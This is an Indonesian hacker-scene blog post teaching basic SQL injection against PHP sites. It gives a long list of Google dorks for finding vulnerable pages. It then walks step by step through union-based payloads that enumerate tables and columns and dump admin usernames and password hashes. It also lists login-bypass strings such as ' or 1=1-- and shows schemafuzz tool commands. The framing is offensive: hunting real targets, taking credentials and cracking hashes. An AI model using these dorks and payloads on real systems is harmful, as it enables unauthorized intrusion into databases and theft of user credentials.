Demo Blog

Belajar SQL Injection dasar

by d0ntcry on Nov.22, 2009, under

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
.::BELAJAR SQL INJECTION DASAR::.

Author : d0ntcry
Blog : http://d0nt-cry.blogspot.com
3.50 16 FEB 2010
FEAT. GOLIATH-MD2 and 234

Thankz : kamtiez-tukulesto-arianom-cimpli-pathloader
mbamboenk.owos.and you..
all member....
indonesiancoderTeam | kill-9 crew | SCTeam
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Assalamualaikum wr wb

Kita mulai langsung aja... kalo sudah mengerti jangan lupa lebih mendalami lagi tentang sql.. okey..
untuk mencari web vulner ato tidak
1. "-" [single mark] --> http://target.com/news.php?id=1- (id=-)
2. "'" [single quote] --> http://target.com/news.php?id=1' atao http://target.com/news.php?id='1 (id=null'/id='null)
3. "and 1=2" --> http://target.com/news.php?id=1 and 1=2 (can you see??)*
3. !sql scan dgn bug+dork yang sudah ada... :D
4. jalan-jalan di web tersebut and be creative.. ^^

*kenapa koq tanda seperti itu ya?wah..dapet dari google se katana itu 1=2 melihatkan kalo id tersebut nilainya ERROR,contoh:
1. news.php?id=1 and 1=2 <-- nilainya salah.lah piye?ra ketok ta matane siji iku yo siji.. mosok siji iku loro rek.. wkwkwk... dan efeknya artikel web menghilang.. sakti jeh!! ato menunjukan syntax error :D
2. news.php?id=1 and 1=1 <-- nilainya benar.artikel web kembali.no page error...

Pada akhir perintah selanjutnya gunakan tanda "/*" ato "--" ato "#" menandakan akhir perintah...

OK.. lets duit..

cari kata kuncinya dulu (dork).contoh :
[SPOILER]
inurl:"shredder-categories.php?id="
inurl:"tradeCategory.php?id="
inurl:"product_ranges_view.php?ID="
inurl:"shop_category.php?id="
inurl:"product_list.php?id="
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
[/SPOILER]

waaahh.. banyak bgt!! :D
lebih gampangnya join di irc cari channel yang ada bot scan sqlnya..
jalankan botnya --> !sql d0ntcrymanis.php?idku= indonesiancoderteam (!sql )
scriptnya bisa tnya ane di irc...

sampe mana ya tadi... hehehehe...
oia.. da dapet webnya yg vuln.. misal :

1. http://target.com/product_list.php?id=1' <- (You have an error in your SQL syntax....)
- kalo gak error lakukan percobaan2 lagi dengan menambahkan.. menghilangkan.. atao apalah pokknya error.. kalo gak error ya cari target lagi.. ^^ "gak ada keamanan web yg 100% aman" <-- gak berani ngomong kaya gitu.. belum jadi 31337 :D

2. mencari nomer togel... dengan memeriksa kolom
- syntax : order+by+1..dst --> (untuk mencari nomer akhir) pengecekan dimulai dari 1 s/d kondisi halaman mendapatkan kondisi false/error page.

Akhirnya kondisi false diketahui pada kolom 5 :
:: http://target.com/product_list.php?id=1 order by 1,2,3,4,5--
(Unknown column '5' in 'order clause', Sorry, no products in this category) / bisa juga pesannya beda...

atau bisa juga :
.:. http://target.com/product_list.php?id=1 order by 1-- [gak ada error]
http://target.com/product_list.php?id=1 order by 2-- [gak ada error]
http://target.com/product_list.php?id=1 order by 3-- [gak ada error]
http://target.com/product_list.php?id=1 order by 4-- [gak ada error]
http://target.com/product_list.php?id=1 order by 5-- [error ne]

---> Itu tandanya kolom yang ada diweb tsb ada 4 kolom

3. Jika sudah ktemu.. cari nomer togelnya...
- syntax : union+select

:: http://target.com/product_list.php?id=1 union select 1,2,3,4--
:: http://target.com/product_list.php?id=1 union all select 1,2,3,4--
kliatan gak nomer togelnya?? misal aja ya.. nomer yang kliatan 2 <-- nomer togel (asumsi aja)
kalo gak kliatan ya pasang aja version() disetiap nomer atu2 :D

4. mencari informasi MySQL
syntax :
- version mysql : version() atau @@version
- mengetahui jenis database : database()
- mengetahui user : user()
- lebih mudahnya, menggunakan perintah "concat()" untuk melihat semua informasi yang kita butuhkan di dalam satu tempat

:: http://target.com/product_list.php?id=1 union select 1,version(),3,4--

atau

:: http://target.com/product_list.php?id=1 union select 1,concat (version(),0x3a,user(),0x3a,database()),3,4--

taraaa....MYSQL versi 5.0.45 ( kita asumsikan aja kaya gitu..hehehe )

Untuk MySQL versi 5, kita bisa lanjutkan ke pemeriksaan tabel dan kolom.Tapi untuk versi 4, kita harus mencari dan menebak database(blind sqli),yg nama tabel dan kolom yang ditempatkan tidak beraturan.

nb : 0x3a adalah tanda ":" yang sudah dirubah mnjdi karakter hexadecimal (untuk memisahkan informasi yang kita inginkan)

5. Memeriksa tabel
Syntax : 'union+select' ; "group_concat(table_name)" ; "from+information_schema.tables+where+table_schema=database()--"
Artinya : kita akan mengeluarkan keseluruhan tabel menggunakan information schema dimana table yang di-schema adalah
dari fungsi query database().
Dapat diartikan bahwa database() adalah perintah yang digunakan untuk melihat nama database

:: id=1 union select 1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()--
Mencari tabel (limit) :
:: id=-1+union+select+1,table_name,3,4+from+information_schema.tables+limit+8,1--

6. Melihat Isi Kolom Dari Tabel
Untuk mengeluarkan column name, syntax-nya sama dengan mengeluarkan table name, hanya saja "table" kita ganti dengan
"column".

Syntax :
"union+select" ; "group_concat(column_name)" ; "from+information_schema.columns+where+table_name=nama_table_target--"

Artinya : kita akan mengeluarkan keseluruhan column menggunakan information schema dimana table name-nya = table yang
jadi tujuan

Contoh dalam tabel ada kolom "admin"
:: id=-1+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0x61646D696E--
convert "admin" to hex -> 61646D696E


7. Melihat data dari kolom
perintah : 'group_concat(mbohkah,cuk,raimu,asu)'
misal tadi kolom yang keluar dari admin : user,id,password,kentu,nangdi,matamu,suwek

:: id=-1+union+select+1,group_concat(user,0x3,password),3,4+from+admin--

jreng..jreng... dapet dah...
d0ntcrymanis:0e311e5b9704f28b4e8557e8fa3fbe7d

pass crack dulu :)

macam2 hash banyak loh!!jadi harus belajar lagi.. gak cuma md5 aja.. ^^

.: Kemungkinan2 variable utk masuk kedalam login page tanpa password dan user name :D :.

1'or'1'='1

0'or'0'='0

admin'--

admin' #

admin'/*

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

password:' or 1=1--

or 1=1--

'or'a'='a

"or"a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi') or ('a'='a

hi") or ("a"="a

'or'1'='1' and firstname <>'d0ntcry <-- nama member

'or'1'='1' and firstname <>'d0ntcry' and firstname <>'dnock


/===========.tambahan.===========\

*) ada juga dengan teknik having 1=1 SQL Injection di MS-SQL Server (google please...)
*) schemafuzz : sqli instant.hihihihi... :p
schemafuzz.py -h <-- melihat perintah2nya
[+] --dbs [untuk mengetahui nama database sql]
[+] --schema [untuk melihat nama tabel n nama column]
[+] --dump [untuk melihat isi dari column]
contoh : (liat target atas) nomer togel diganti dengan "darkc0de"
1. c:/>schemafuzz.py --dbs -u "http://target.com/product_list.php?id=1 union select 1,darkc0de,3,4--
2. c:/>schemafuzz.py --schema -u "http://target.com/product_list.php?id=1 union select 1,darkc0de,3,4--" -D
3. c:/>schemafuzz.py --dump -u "http://target.com/product_list.php?id=1 union select 1,darkc0de,3,4--" -T -C -D
*) tools2 sqli yang bisa didapatkan di forum2 security...



sabaiknya coba cara manual dulu sebelum pake tools/python...
Matur nuwun.. kalo ada kekurangan mohon dimaafkan coz bisanya cuma maen2 kaya gini aja gak bisa nangkalnya.. urung dong bgt sqlan.. tapi berkat temen2 yang mau share pasti aq bisa..hohohohoho...^^


salam hangat,


d0ntcry,
waalaikum salam wr.wb

Source : Klik
----.end.of.fles.----
3 komentar more...

3 komentar

Looking for something beib?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!